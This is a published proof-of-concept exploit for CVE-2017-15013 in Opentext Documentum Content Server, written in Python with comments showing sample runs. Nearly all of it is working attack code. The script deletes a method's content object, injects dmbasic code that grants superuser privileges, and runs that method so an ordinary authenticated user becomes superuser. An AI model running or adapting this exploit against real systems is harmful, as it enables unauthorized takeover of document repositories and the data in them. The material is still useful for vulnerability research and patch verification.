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Opentext Documentum Content Server Privilege Escalation

Posted on 15 October 2017

#!/usr/bin/env python # Opentext Documentum Content Server (formerly known as EMC Documentum Content Server) # contains following design gap, which allows authenticated user to gain privileges # of superuser: # # Content Server stores information about uploaded files in dmr_content objects, # which are queryable and "editable" (before release 7.2P02 any authenticated user # was able to edit dmr_content objects, now any authenticated user may delete # dmr_content object and them create new one with the old identifier) by # authenticated users, this allows any authenticated user to "modify" security-sensitive # dmr_content objects (for example, dmr_content related to dm_method objects) # and gain superuser privileges # # The PoC below demonstrates this vulnerability: # # MacBook-Pro:~ $ python CVE-2017-15013.py # usage: # CVE-2017-15013.py host port user password # MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry # Trying to connect to docu72dev01:10001 as dm_bof_registry ... # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle # Trying to find any dm_method object with content... # Trying to poison docbase method dm_Migration # Method verb: dmbasic -eMigration_Agent # Method function: Migration_Agent # Trying to inject new content: # Const glabel As String = "Label" # Const ginfo As String = "Info" # Const gerror As String = "Error" # # Private Sub PrintMessage(mssg As String, mssgtype As String) # If(mssgtype=glabel) Then # Print "<BR><B><FONT size=3>" # Print mssg # print "</FONT></B>" # ElseIf(mssgtype=ginfo) Then # Print "<BR><FONT color=blue>" # Print mssg # print "</FONT>" # ElseIf(mssgtype=gerror) Then # Print "<BR><FONT color=red size=3>" # Print mssg # print "</FONT>" # Else # Print "<BR>" & mssg # End If # End Sub # Private Sub SetupSuperUser(TargetUser As String) # objectid$ = dmAPIGet("id,c,dm_user where user_name = '" & TargetUser & "'") # If objectid$ <> "" then # Status = dmAPISet("set,c," & objectid$ & ",user_privileges",16) # Status = dmAPIExec("save,c," & objectid$) # End If # End Sub # # Sub Migration_Agent(DocbaseName As String, UserName As String, TargetUser As String) # Dim SessionID As String # # SessionID= dmAPIGet("connect," & DocbaseName & "," & UserName & ",") # If SessionID ="" Then # Print "Fail to connect to docbase " & DocbaseName &" as user " & UserName # DmExit(-1) # Else # Print "Connect to docbase " & DocbaseName &" as user " & UserName # End If # # Call SetupSuperUser(TargetUser) # # End Sub # # Removing method's content # method's content has been successfully removed # Creating malicious dmr_content object # Malicious dmr_content object has been successfully created # Becoming superuser... # P0wned! # MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry # Trying to connect to docu72dev01:10001 as dm_bof_registry ... # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle # Current user is a superuser, nothing to do # import socket import sys from dctmpy import NULL_ID, RPC_APPLY_FOR_BOOL, RPC_APPLY_FOR_OBJECT from dctmpy.docbaseclient import DocbaseClient from dctmpy.obj.typedobject import TypedObject CIPHERS = "ALL:aNULL:!eNULL" def usage(): print "usage: %s host port user password" % sys.argv[0] def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) print "Trying to find any dm_method object with content..." method_object = session.get_by_qualification( "dm_method WHERE use_method_content=TRUE " "and method_verb like 'dmbasic -e%'") method_content = session.get_by_qualification( "dmr_content where any parent_id='%s'" % method_object['r_object_id']) print "Trying to poison docbase method %s" % method_object['object_name'] method_verb = method_object['method_verb'] print "Method verb: %s" % method_verb method_function = method_verb[len("dmbasic -e"):] print "Method function: %s" % method_function new_content = "Const glabel As String = "Label" " "Const ginfo As String = "Info" " "Const gerror As String = "Error" " " " "Private Sub PrintMessage(mssg As String, mssgtype As String) " " If(mssgtype=glabel) Then " " Print "<BR><B><FONT size=3>" " " Print mssg " " print "</FONT></B>" " " ElseIf(mssgtype=ginfo) Then " " Print "<BR><FONT color=blue>" " " Print mssg " " print "</FONT>" " " ElseIf(mssgtype=gerror) Then " " Print "<BR><FONT color=red size=3>" " " Print mssg " " print "</FONT>" " " Else " " Print "<BR>" & mssg " " End If " "End Sub " "Private Sub SetupSuperUser(TargetUser As String) " " objectid$ = dmAPIGet("id,c,dm_user where user_name = '" & TargetUser & "'") " " If objectid$ <> "" then " " Status = dmAPISet("set,c," & objectid$ & ",user_privileges",16) " " Status = dmAPIExec("save,c," & objectid$) " " End If " "End Sub " " " "Sub %s(DocbaseName As String, UserName As String, TargetUser As String) " " Dim SessionID As String " " " " SessionID= dmAPIGet("connect," & DocbaseName & "," & UserName & ",") " " If SessionID ="" Then " " Print "Fail to connect to docbase " & DocbaseName &" as user " & UserName " " DmExit(-1) " " Else " " Print "Connect to docbase " & DocbaseName &" as user " & UserName " " End If " " " " Call SetupSuperUser(TargetUser) " " " "End Sub " % method_function print "Trying to inject new content: %s" % new_content session.apply(None, NULL_ID, "BEGIN_TRANS") if method_content is not None: print "Removing method's content" remove = TypedObject(session=session) remove.set_string("OBJECT_TYPE", "dmr_content") remove.set_int("i_vstamp", method_content['i_vstamp']) obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "dmDisplayConfigExpunge", remove) if obj != True: print "Failed to remove method's content, exiting" end_tran(session, False) exit(1) print "method's content has been successfully removed" store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" end_tran(session, False) exit(1) b = bytearray() b.extend(new_content) if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)): print "Failed to start push" end_tran(session, False) exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] print "Creating malicious dmr_content object" content = TypedObject(session=session) content.set_string("OBJECT_TYPE", "dmr_content") content.set_bool("IS_NEW_OBJECT", True) content.set_id("storage_id", store['r_object_id']) content.set_id("format", format['r_object_id']) content.set_int("data_ticket", data_ticket) content.set_id("parent_id", method_object['r_object_id']) content.set_int("page", 0) content.set_string("full_format", format['name']) content.set_int("content_size", len(b)) if not session.save_cont_attrs(method_object['i_contents_id'], content): print "Failed to create content" end_tran(session, False) exit(1) print "Malicious dmr_content object has been successfully created" end_tran(session, True) print "Becoming superuser..." method = TypedObject(session=session) method.set_string("METHOD", method_object['object_name']) method.set_string("ARGUMENTS", "%s %s %s" % ( session.docbaseconfig['object_name'], session.serverconfig['r_install_owner'], sys.argv[3])) session.apply(RPC_APPLY_FOR_OBJECT, NULL_ID, "DO_METHOD", method) r = session.query( "SELECT user_privileges FROM dm_user " "WHERE user_name=USER") .next_record()[ 'user_privileges'] if r != 16: print "Failed" exit(1) print "P0wned!" def end_tran(session, commit=False): obj = TypedObject(session=session) obj.set_bool("COMMIT", commit) session.apply(None, NULL_ID, "END_TRANS", obj) def create_session(host, port, user, pwd): print "Trying to connect to %s:%s as %s ..." % (host, port, user) session = None try: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd) except socket.error, e: if e.errno == 54: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, secure=True, ciphers=CIPHERS) else: raise e docbase = session.docbaseconfig['object_name'] version = session.serverconfig['r_server_version'] print "Connected to %s:%s, docbase: %s, version: %s" % (host, port, docbase, version) return (session, docbase) def is_super_user(session): user = session.get_by_qualification("dm_user WHERE user_name=USER") if user['user_privileges'] == 16: return True group = session.get_by_qualification( "dm_group where group_name='dm_superusers' " "AND any i_all_users_names=USER") if group is not None: return True return False if __name__ == '__main__': main()

 

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